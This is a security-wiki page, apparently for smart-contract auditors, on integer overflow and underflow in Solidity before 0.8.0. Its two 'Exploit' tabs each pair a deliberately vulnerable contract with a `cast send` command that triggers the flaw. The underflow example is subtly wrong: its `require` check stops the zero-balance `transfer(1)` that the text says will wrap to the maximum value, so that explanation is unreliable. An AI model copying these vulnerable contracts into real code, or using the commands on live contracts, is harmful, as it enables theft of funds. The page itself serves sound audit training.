# Integer overflow/underflow

## Theory

Before **`Solidity`** **`0.8.0`**, arithmetic operations (`+`, `-`, `*`) on integers **did not perform overflow or underflow checks**.\
When a value exceeded its maximum or minimum range, it would **wrap around silently**.

```bash
# Example with uint8 (0–255 range):

## Overflow (wrap-around upwards)
255 + 1  →  0

## Underflow (wrap-around downwards)
0 - 1    →  255
```

This behavior allowed attackers to manipulate balances, bypass restrictions, or break security-critical logic such as token transfer limits, balance updates, access control checks, time or block-based conditions.

## Practice

When auditing contracts written in Solidity **before version 0.8.0**, every arithmetic operation must be reviewed manually, because the compiler does not check for overflow or underflow. Look for any place where user input influences additions, subtractions, multiplications, or counters.

Typical high-risk areas include balance updates, token mint or burn logic, counters, and time-based expressions (such as `now + duration`). If user-controlled values interact with these variables, the contract may become exploitable through arithmetic wrap-around

{% hint style="warning" %}
Even in modern Solidity versions, auditors must pay attention to `unchecked { ... }` blocks, custom arithmetic libraries, and inline assembly using `add`, `sub`, or `mul`. These cases bypass compiler safety and can behave like old Solidity math.
{% endhint %}

{% tabs %}
{% tab title="Exploit UnderFlow" %}
A simple token-like contract that subtracts user balance without overflow checks:

```solidity
pragma solidity ^0.6.0;

contract Token {
    mapping(address => uint256) public balance;

    function transfer(uint256 amount) public {
        require(balance[msg.sender] >= amount);
        balance[msg.sender] -= amount;     // Underflow vulnerability
        balance[tx.origin] += amount;
    }
}
```

If an attacker has a balance of **0**, calling `transfer(1)` causes the subtraction to wrap around and produce the maximum possible `uint256` value. The attacker instantly becomes the richest holder.

```bash
cast send $CONTRACT_ADDRESS \
    "transfer(uint256)" 1 \
    --rpc-url $RPC_URL \
    --private-key $PK \
    -vv
```

{% endtab %}

{% tab title="Exploit OverFlow" %}
A simple Bonus contract that add user bonus without overflow checks:

```solidity
pragma solidity ^0.6.0;

contract Bonus {
    mapping(address => uint256) public score;

    function reward(uint256 bonus) public {
        score[msg.sender] += bonus;    // Overflow vulnerability
    }
}
```

If `score[msg.sender]` is close to the maximum `uint256` value, adding a sufficiently large `bonus` causes the value to **wrap around** due to integer overflow. This allows an attacker to reset their score to a small number or bypass limits that rely on score progression.

For example, if the current score is `10`, providing a bonus of `2^256 - 10` results in `0` after wrapping.

In practice, the attacker can simply supply the maximum `uint256` value (`MAX_UINT256`), which guarantees wrap-around:

```bash
cast send $CONTRACT_ADDRESS \
    "reward(uint256)" \
    0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff \
    --rpc-url $RPC_URL \
    --private-key $PK \
    -vv
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://scs.owasp.org/SCWE/SCSVS-CODE/SCWE-047/>" %}
